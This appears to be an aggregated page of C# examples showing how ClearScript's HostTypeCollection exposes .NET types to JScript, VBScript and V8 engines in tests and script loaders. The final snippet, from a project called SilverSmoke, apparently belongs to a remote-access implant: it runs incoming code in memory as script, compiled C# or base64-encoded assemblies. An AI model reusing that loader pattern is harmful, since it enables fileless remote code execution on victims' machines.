internal static void Test(HostTypeCollection typeCollection, string[] assemblyNames, Predicate <Type> filter, Func <Type, Type, bool> comparer)
        {
            // ReSharper disable CollectionNeverQueried.Local

            typeCollection = typeCollection ?? new HostTypeCollection(filter, assemblyNames);
            var allNodes = GetLeafNodes(typeCollection).OrderBy(hostType => hostType.Type.GetLocator());

            var visitedNodes = new SortedDictionary <string, HostType>();

            foreach (var type in GetImportableTypes(assemblyNames, filter))
            {
                var currentType = type;
                var locator     = currentType.GetLocator();

                var segments = locator.Split('.');
                var hostType = (HostType)segments.Aggregate((object)typeCollection, (node, segment) => ((PropertyBag)node)[segment]);

                Assert.IsTrue(hostType.Types.All(testType => testType.GetLocator() == locator));
                Assert.AreEqual(1, hostType.Types.Count(testType => comparer(testType, currentType)));
                visitedNodes[locator] = hostType;
            }

            Assert.IsTrue(allNodes.SequenceEqual(visitedNodes.Values));
            if (filter != null)
            {
                Assert.IsTrue(allNodes.All(hostType => hostType.Types.All(type => filter(type))));
            }

            // ReSharper restore CollectionNeverQueried.Local
        }
示例#2
0
        private static void AddHostSymbols(ref VBScriptEngine vbscriptEngine)
        {
            vbscriptEngine.AddHostObject("CSExtendedHost", new ExtendedHostFunctions());
            vbscriptEngine.AddHostObject("CSHost", new HostFunctions());
            var htc = new HostTypeCollection();

            foreach (var assembly in new string[] { "mscorlib", "System", "System.Core", "System.Data" /*, "RestSharp",  "WebDriver", "WebDriver.Support" */ })
            {
                htc.AddAssembly(assembly);
            }
            if (Settings.ContainsKey("/ASSEMBLIES"))
            {
                var assemblies = Settings["/ASSEMBLIES"].ToString().Split(',');
                foreach (var assembly in assemblies)
                {
                    System.Reflection.Assembly assem;
                    try
                    {
                        assem = System.Reflection.Assembly.LoadFrom(assembly);
                        htc.AddAssembly(assem);
                    }
                    catch (Exception e)
                    {
                        Console.WriteLine(e.Message);
                    }
                }
            }
            vbscriptEngine.AddHostObject("CS", htc);
        }
示例#3
0
        private static void Attach(string dllPath, string name = "")
        {
            var htc = new HostTypeCollection();

            try
            {
                //var assem = System.Reflection.Assembly.LoadFrom(dllPath);
                var assem = Assembly.Load(AssemblyName.GetAssemblyName(dllPath));
                htc.AddAssembly(assem);
                if (name.Length == 0)
                {
                    name = assem.FullName.Split(',')[0];
                }

                vbscriptEngine.AddHostObject(name, htc); //FIXME checkout the hosttypes
                Console.WriteLine($"Attached {dllPath} as {name}");
            }
            catch (ReflectionTypeLoadException rtle)
            {
                foreach (var item in rtle.LoaderExceptions)
                {
                    Console.WriteLine(item.Message);
                }
            }
            catch (FileNotFoundException fnfe)
            {
                Console.WriteLine(fnfe.Message);
            }
            catch (Exception e)
            {
                Console.WriteLine(e.Message);
            }
        }
示例#4
0
        public void DynamicHostItem_Conversion()
        {
            var hostTypeCollection = new HostTypeCollection("mscorlib");

            engine.Script.mscorlib = hostTypeCollection;
            Assert.AreEqual(((PropertyBag)hostTypeCollection["System"]).Keys.Count, ((PropertyBag)engine.Script.mscorlib.System).Keys.Count);
            Assert.AreEqual(((PropertyBag)hostTypeCollection["System"]).Keys.Count, ((PropertyBag)engine.Script["mscorlib"]["System"]).Keys.Count);
        }
示例#5
0
        private void ExposeTypesToEngine(Microsoft.ClearScript.ScriptEngine engine)
        {
            var typeCollection = new HostTypeCollection(
                typeof(com.espertech.esper.client.EPAdministrator).Assembly);

            engine.AddHostObject("esper", typeCollection);
            engine.AddHostType("Object", typeof(Object));
            engine.AddHostType("typeHelper", typeof(com.espertech.esper.util.TypeHelper));
            engine.AddHostType("Collections", typeof(com.espertech.esper.compat.collections.Collections));
            engine.AddHostType("EventBean", typeof(com.espertech.esper.client.EventBean));
            engine.AddHostType("EventBean", typeof(com.espertech.esper.client.EventBean));
            engine.AddHostType("EPAdministrator", typeof(com.espertech.esper.client.EPAdministrator));
            engine.AddHostType("EPRuntime", typeof(com.espertech.esper.client.EPRuntime));
        }
示例#6
0
        public void VBScriptEngine_General()
        {
            using (var console = new StringWriter())
            {
                var clr = new HostTypeCollection(type => type != typeof(Console), "mscorlib", "System", "System.Core");
                clr.GetNamespaceNode("System").SetPropertyNoCheck("Console", console);

                engine.AddHostObject("host", new ExtendedHostFunctions());
                engine.AddHostObject("clr", clr);

                engine.Execute(generalScript);
                Assert.AreEqual(MiscHelpers.FormatCode(generalScriptOutput), console.ToString().Replace("\r\n", "\n"));
            }
        }
示例#7
0
        private JScriptEngine InstantiateScripts(string script, string resourceName, string[] refs)
        {
            var scriptEngine = new JScriptEngine();
            var collect      = new HostTypeCollection(refs);

            scriptEngine.AddHostObject("clr", collect);
            scriptEngine.AddHostObject("API", new API()
            {
                ResourceParent = this
            });
            scriptEngine.AddHostObject("host", new HostFunctions());
            scriptEngine.AddHostType("Dictionary", typeof(Dictionary <,>));
            scriptEngine.AddHostType("xmlParser", typeof(RetardedXMLParser));
            scriptEngine.AddHostType("Enumerable", typeof(Enumerable));
            scriptEngine.AddHostType("NetHandle", typeof(NetHandle));
            scriptEngine.AddHostType("String", typeof(string));
            scriptEngine.AddHostType("List", typeof(List <>));
            scriptEngine.AddHostType("Client", typeof(Client));
            scriptEngine.AddHostType("Vector3", typeof(Vector3));
            scriptEngine.AddHostType("Quaternion", typeof(Vector3));
            scriptEngine.AddHostType("Client", typeof(Client));
            scriptEngine.AddHostType("LocalPlayerArgument", typeof(LocalPlayerArgument));
            scriptEngine.AddHostType("LocalGamePlayerArgument", typeof(LocalGamePlayerArgument));
            scriptEngine.AddHostType("EntityArgument", typeof(EntityArgument));
            scriptEngine.AddHostType("EntityPointerArgument", typeof(EntityPointerArgument));
            scriptEngine.AddHostType("console", typeof(Console));
            scriptEngine.AddHostType("VehicleHash", typeof(VehicleHash));
            scriptEngine.AddHostType("Int32", typeof(int));
            scriptEngine.AddHostType("EntityArgument", typeof(EntityArgument));
            scriptEngine.AddHostType("EntityPtrArgument", typeof(EntityPointerArgument));

            try
            {
                scriptEngine.Execute(script);
            }
            catch (ScriptEngineException ex)
            {
                Program.Output("EXCEPTION WHEN COMPILING JAVASCRIPT " + Filename);
                Program.Output(ex.Message);
                Program.Output(ex.StackTrace);
                HasTerminated = true;
                throw;
            }

            return(scriptEngine);
        }
示例#8
0
        public static void StartScript(string script, List <int> identEnts)
        {
            var scriptEngine = new JScriptEngine();
            var collection   = new HostTypeCollection(Assembly.LoadFrom("scripthookvdotnet.dll"),
                                                      Assembly.LoadFrom("scripts\\NativeUI.dll"));

            scriptEngine.AddHostObject("API", collection);
            scriptEngine.AddHostObject("host", new HostFunctions());
            scriptEngine.AddHostObject("script", new ScriptContext());
            scriptEngine.AddHostType("Enumerable", typeof(Enumerable));
            scriptEngine.AddHostType("List", typeof(IList));
            scriptEngine.AddHostType("KeyEventArgs", typeof(KeyEventArgs));
            scriptEngine.AddHostType("Keys", typeof(Keys));

            foreach (var obj in identEnts)
            {
                var name = PropStreamer.Identifications[obj];
                if (MapEditor.IsPed(new Prop(obj)))
                {
                    scriptEngine.AddHostObject(name, new Ped(obj));
                }
                else if (MapEditor.IsVehicle(new Prop(obj)))
                {
                    scriptEngine.AddHostObject(name, new Vehicle(obj));
                }
                else if (MapEditor.IsProp(new Prop(obj)))
                {
                    scriptEngine.AddHostObject(name, new Prop(obj));
                }
            }

            try
            {
                scriptEngine.Execute(script);
            }
            catch (ScriptEngineException ex)
            {
                LogException(ex);
            }
            finally
            {
                lock (ScriptEngines)
                    ScriptEngines.Add(scriptEngine);
            }
        }
示例#9
0
        public static void Main()
        {
            //var application = new System.Windows.Application();
            //var window = new System.Windows.Window();
            //application.Run(window);
            var    applicationPath = AppDomain.CurrentDomain.BaseDirectory;
            string fileName        = Path.Combine(applicationPath, "app", "app.js");
            var    sourceCode      = File.ReadAllText(fileName);

            //var engine = new JScriptEngine(WindowsScriptEngineFlags.EnableDebugging);
            var engine = new V8ScriptEngine(V8ScriptEngineFlags.EnableDebugging);

            engine.AddHostType("Console", typeof(Console));
            var typeCollection = new HostTypeCollection("mscorlib", "System", "System.Core", "PresentationCore", "PresentationFramework", "WindowsBase");

            engine.AddHostObject("clr", typeCollection);
            engine.AddHostObject("xHost", new ExtendedHostFunctions());
            engine.Execute(fileName, sourceCode);
        }
 public void DynamicHostItem_Conversion()
 {
     var hostTypeCollection = new HostTypeCollection("mscorlib");
     engine.Script.mscorlib = hostTypeCollection;
     Assert.AreEqual(((PropertyBag)hostTypeCollection["System"]).Keys.Count, ((PropertyBag)engine.Script.mscorlib.System).Keys.Count);
     Assert.AreEqual(((PropertyBag)hostTypeCollection["System"]).Keys.Count, ((PropertyBag)engine.Script["mscorlib"]["System"]).Keys.Count);
 }
        internal static void Test(HostTypeCollection typeCollection, string[] assemblyNames, Predicate<Type> filter, Func<Type, Type, bool> comparer)
        {
            typeCollection = typeCollection ?? new HostTypeCollection(filter, assemblyNames);
            var allNodes = GetLeafNodes(typeCollection).OrderBy(hostType => hostType.Type.GetLocator());

            var visitedNodes = new SortedDictionary<string, HostType>();
            foreach (var type in GetImportableTypes(assemblyNames, filter))
            {
                var currentType = type;
                var locator = currentType.GetLocator();

                var segments = locator.Split('.');
                var hostType = (HostType)segments.Aggregate((object)typeCollection, (node, segment) => ((PropertyBag)node)[segment]);

                Assert.IsTrue(hostType.Types.All(testType => testType.GetLocator() == locator));
                Assert.AreEqual(1, hostType.Types.Count(testType => comparer(testType, currentType)));
                visitedNodes[locator] = hostType;
            }

            Assert.IsTrue(allNodes.SequenceEqual(visitedNodes.Values));
            if (filter != null)
            {
                Assert.IsTrue(allNodes.All(hostType => hostType.Types.All(type => filter(type))));
            }
        }
示例#12
0
        public void VBScriptEngine_General()
        {
            using (var console = new StringWriter())
            {
                var clr = new HostTypeCollection(type => type != typeof(Console), "mscorlib", "System", "System.Core");
                clr.GetNamespaceNode("System").SetPropertyNoCheck("Console", console);

                engine.AddHostObject("host", new ExtendedHostFunctions());
                engine.AddHostObject("clr", clr);

                engine.Execute(generalScript);
                Assert.AreEqual(MiscHelpers.FormatCode(generalScriptOutput), console.ToString().Replace("\r\n", "\n"));
            }
        }
        public void V8ScriptEngine_General_Precompiled_Dual()
        {
            engine.Dispose();
            using (var runtime = new V8Runtime())
            {
                using (var script = runtime.Compile(generalScript))
                {
                    engine = runtime.CreateScriptEngine();
                    using (var console = new StringWriter())
                    {
                        var clr = new HostTypeCollection(type => type != typeof(Console), "mscorlib", "System", "System.Core");
                        clr.GetNamespaceNode("System").SetPropertyNoCheck("Console", console);

                        engine.AddHostObject("host", new ExtendedHostFunctions());
                        engine.AddHostObject("clr", clr);

                        engine.Evaluate(script);
                        Assert.AreEqual(MiscHelpers.FormatCode(generalScriptOutput), console.ToString().Replace("\r\n", "\n"));

                        console.GetStringBuilder().Clear();
                        Assert.AreEqual(string.Empty, console.ToString());

                        engine.Evaluate(script);
                        Assert.AreEqual(MiscHelpers.FormatCode(generalScriptOutput), console.ToString().Replace("\r\n", "\n"));
                    }

                    engine.Dispose();
                    engine = runtime.CreateScriptEngine();
                    using (var console = new StringWriter())
                    {
                        var clr = new HostTypeCollection(type => type != typeof(Console), "mscorlib", "System", "System.Core");
                        clr.GetNamespaceNode("System").SetPropertyNoCheck("Console", console);

                        engine.AddHostObject("host", new ExtendedHostFunctions());
                        engine.AddHostObject("clr", clr);

                        engine.Evaluate(script);
                        Assert.AreEqual(MiscHelpers.FormatCode(generalScriptOutput), console.ToString().Replace("\r\n", "\n"));

                        console.GetStringBuilder().Clear();
                        Assert.AreEqual(string.Empty, console.ToString());

                        engine.Evaluate(script);
                        Assert.AreEqual(MiscHelpers.FormatCode(generalScriptOutput), console.ToString().Replace("\r\n", "\n"));
                    }
                }
            }
        }
示例#14
0
        public static int LoadAndExec(String code, StreamReader rdr)
        {
            var lines = code.Split('\n');

            switch (lines[0])
            {
            case "//CLEARSCRIPT":
                JScriptEngine jsEngine = new JScriptEngine();
                jsEngine.AddHostType("Console", typeof(Console));
                jsEngine.AddHostObject("sw", streamWriter);
                jsEngine.AddHostObject("rdr", rdr);
                jsEngine.AddHostObject("xHost", new ExtendedHostFunctions());
                jsEngine.AddHostType("DllImports", typeof(DllImports));
                jsEngine.AddHostType("Win32", typeof(SilverSmoke.Execution.Win32));
                jsEngine.AddHostType("Native", typeof(SilverSmoke.Execution.Native));
                var typeCollection = new HostTypeCollection("mscorlib", "System", "System.Core");
                jsEngine.AddHostObject("clr", typeCollection);
                try
                {
                    jsEngine.Execute(code);
                }
                catch (Exception ex)
                {
                    streamWriter.WriteLine(ex.Message);
                }
                break;

            case "//C#":
                TextWriter oldOut = Console.Out;                  //save this
                Console.SetOut(streamWriter);
                string[] dlls = lines[1].Substring(2).Split(','); //2nd line: list of DLLs, seperated by commas
                string   nm   = lines[2].Substring(2);            //3rd line: namespace
                string   cls  = lines[3].Substring(2);            //4th line: class name
                string   mthd = lines[5].Substring(2);            //5th line: method name
                string[] argl = lines[4].Substring(2).Split(' '); //5th line: arguments for method
                compileInMemory(code, dlls, nm, cls, mthd, argl);
                Console.SetOut(oldOut);
                break;

            case "//IL-DATA":
                nm   = lines[1].Substring(2);                     //2nd line: namespace
                cls  = lines[2].Substring(2);                     //3rd line: class name
                mthd = lines[3].Substring(2);                     //4th line: method name
                argl = lines[4].Substring(2).Split(' ');          //5th line: arguments for method
                byte[] data = Convert.FromBase64String(lines[6]); //7th line: b64 encoded assembly
                try
                {
                    oldOut = Console.Out;     //save this
                    Console.SetOut(streamWriter);
                    Assembly        asm             = Assembly.Load(data);
                    Type            type            = asm.GetType(nm + "." + cls);
                    MethodInfo      method          = type.GetMethod(mthd);
                    ParameterInfo[] parameters      = method.GetParameters();
                    object[]        parametersArray = new object[] { argl };
                    method.Invoke(null, parameters.Length == 0 ? null : parametersArray);
                    Console.SetOut(oldOut);
                }
                catch (Exception e)
                {
                    streamWriter.WriteLine("Error Loading IL Assembly:");
                    streamWriter.WriteLine(e.Message);
                }
                break;

            default:
                streamWriter.WriteLine("[-] Invalid module format.");
                break;
            }
            bld.Remove(0, bld.Length);
            bld.Clear();
            streamWriter.WriteLine("SIGNAL-MODULE-FINISHED");
            return(0);
        }